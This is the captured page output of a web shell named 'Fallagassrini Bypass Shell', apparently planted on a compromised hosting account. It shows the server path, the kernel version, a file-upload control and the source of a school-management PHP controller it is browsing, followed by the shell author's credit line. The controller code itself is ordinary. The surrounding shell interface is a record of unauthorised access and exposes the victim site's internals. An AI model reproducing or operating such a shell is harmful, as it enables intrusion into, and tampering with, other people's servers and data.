? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/simsdemo/school/application/controllers/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/simsdemo/school/application/controllers/teacher.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Teacher extends BaseController

{

	function  __construct()
	{
		parent::BaseController();
                
                $this->load->model('teachermodel');
                $this->load->model('mastermodel');
                $this->load->model('settingsmodel');
                
                $this->load->library('Fpaginate');
	}

        function get_post_values()
        {
            $data = array();
            foreach ($_POST as $key => $value)
            {
                if($key != "submit")
                {
                    $data[$key] =  $this->input->post($key);
                }
            }
            return $data;
        }

        
//        function viewinteacher($modelfunction,$page,$pagenum="")
//        {
//            /*<---------------- For pagination purpose------------>*/
//            $perm=$this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['userid'],0);
//            if(!$perm)
//            {
//                $this->load->view('Settings/nopermission');
//            }
//            else
//            {
//                $perpage= $this->config->item('perpage');
//                $data['pagenum']=$pagenum;
//                $_SESSION['searchdata'] = '';
//                if($pagenum==1)
//                {
//                    $data['id']=1;
//                }
//                else
//                {
//                    $data['id']= (($pagenum-1)*$perpage)+1;
//                }
//
//
//              /*<---------------- For pagination purpose------------>         */
//                 if(isset($encoded_data))
//                 {
//                     $decoded_data= urldecode($encoded_data);
//                     $postdata=json_decode($decoded_data, true);
//                 }
//                 else
//                 {
//                    $postdata="";
//                 }
//
//                 $output=$this->teachermodel->$modelfunction($postdata,$pagenum);
//                 $data['startpage']=$output['startpage'];
//                 $data['endpage']=$output['endpage'];
//                 $data['viewinfo']=$output['results'];
//                 $this->load->view('Teacher/'.$page.'',$data);
//            }
//
//        }

        function viewinteachersearch($modelfunction,$page,$pagenum)
        {
           /*<---------------- For pagination purpose------------>*/
            $perpage= $this->config->item('perpage');
            $_SESSION['pagenum']=$pagenum;
            $data['pagenum']=$pagenum;
             if($pagenum==1)
            {
                $data['id']=1;

            }
            else
            {
                $data['id']= (($pagenum-1)*$perpage)+1;
            }


            if(isset($_POST['tab_name']))
            {
                $postdata ="";
            }
            else
            {
                $postdata=$this->get_post_values();
            }

            /*<---------------- For pagination purpose------------>         */
            if(!empty($postdata))
                $_SESSION['searchdata']=$postdata;
            else if(!isset($_SESSION['searchdata']))
                $_SESSION['searchdata']="";
            $output=$this->teachermodel->$modelfunction($postdata,$pagenum);
            $data['startpage']=$output['startpage'];
            $data['endpage']=$output['endpage'];
            $data['viewinfo']=$output['results'];
            $this->load->view('Teacher/'.$page.'',$data);
        }

        
        function addinteacher($modelfunction,$page)
        {
            $postdata=$this->get_post_values();
            $data=$this->teachermodel->$modelfunction($postdata);
            if($data['res']==1)
            {

                $this->viewinteachersearch($data['resfunction'],$page,$_SESSION['pagenum']);
                $this->load->view('insertsuccess');

            }
            else
            {   $this->viewinteachersearch($data['resfunction'],$page,$_SESSION['pagenum']);
                $this->load->view('insertfailure');
            }

        }
        function editform($controllerfunction,$id)
        {
            $perm=$this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['userid'],1);
            if(!$perm)
            {
                $this->load->view('Settings/nopermission');
             }
            else
            {
                $this->$controllerfunction($id);

            }
        }
        function editteacher($id)
        {
            $data['teacher']=$this->mastermodel->get_data_srow('teacher',$id,'teacher_id');
            $data['address']=$this->mastermodel->get_data_srow('teacher_address',$id,'teacher_id');
            $data['teacher_qualification']=$this->mastermodel->get_data('teacher_qualification',$id,'teacher_id');
            $data['teacher_work_experience']=$this->mastermodel->get_data('teacher_work_experience',$id,'teacher_id');
            $data['teacher_subject']=$this->teachermodel->get_data_subject($id);
           
            $this->load->view('Teacher/editteacher',$data);
        }
        function singleteacher($id)
        {
            $data['teacher']=$this->mastermodel->get_data_srow('teacher',$id,'teacher_id');
            $data['address']=$this->mastermodel->get_data_srow('teacher_address',$id,'teacher_id');
            $data['teacher_qualification']=$this->mastermodel->get_data('teacher_qualification',$id,'teacher_id');
            $data['teacher_work_experience']=$this->mastermodel->get_data('teacher_work_experience',$id,'teacher_id');
            $data['teacher_subject']=$this->teachermodel->get_data_subject($id);
           
            $this->load->view('Teacher/singleteacher',$data);
        }
       function editstaff($id)
        {
            $data['staff']=$this->mastermodel->get_data_srow('staff',$id,'staff_id');
            $data['address']=$this->mastermodel->get_data_srow('staff_address',$id,'staff_id');
            $this->load->view('Teacher/editstaff',$data);
        }
        function singlestaff($id)
        {
            $data['staff']=$this->mastermodel->get_data_srow('staff',$id,'staff_id');
            $data['address']=$this->mastermodel->get_data_srow('staff_address',$id,'staff_id');
            $this->load->view('Teacher/singlestaff',$data);
        }
        function editteacherattendance($id)
        {
            $data['teacher_attendance']=$this->mastermodel->get_data_srow('teacher_attendance',$id,'attendance_id');
            $this->load->view('Teacher/editteacherattendance',$data);
        }
        function editstaffattendance($id)
        {
            $data['staff_attendance']=$this->mastermodel->get_data_srow('staff_attendance',$id,'attendance_id');
            $this->load->view('Teacher/editstaffattendance',$data);
        }
         function singleteacherattendance($id)
        {
            $data['teacher_attendance']=$this->mastermodel->get_data_srow('teacher_attendance',$id,'attendance_id');
            $this->load->view('Teacher/singleteacherattendance',$data);
        }
        function singlestaffattendance($id)
        {
            $data['staff_attendance']=$this->mastermodel->get_data_srow('staff_attendance',$id,'attendance_id');
            $this->load->view('Teacher/singlestaffattendance',$data);
        }
       
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net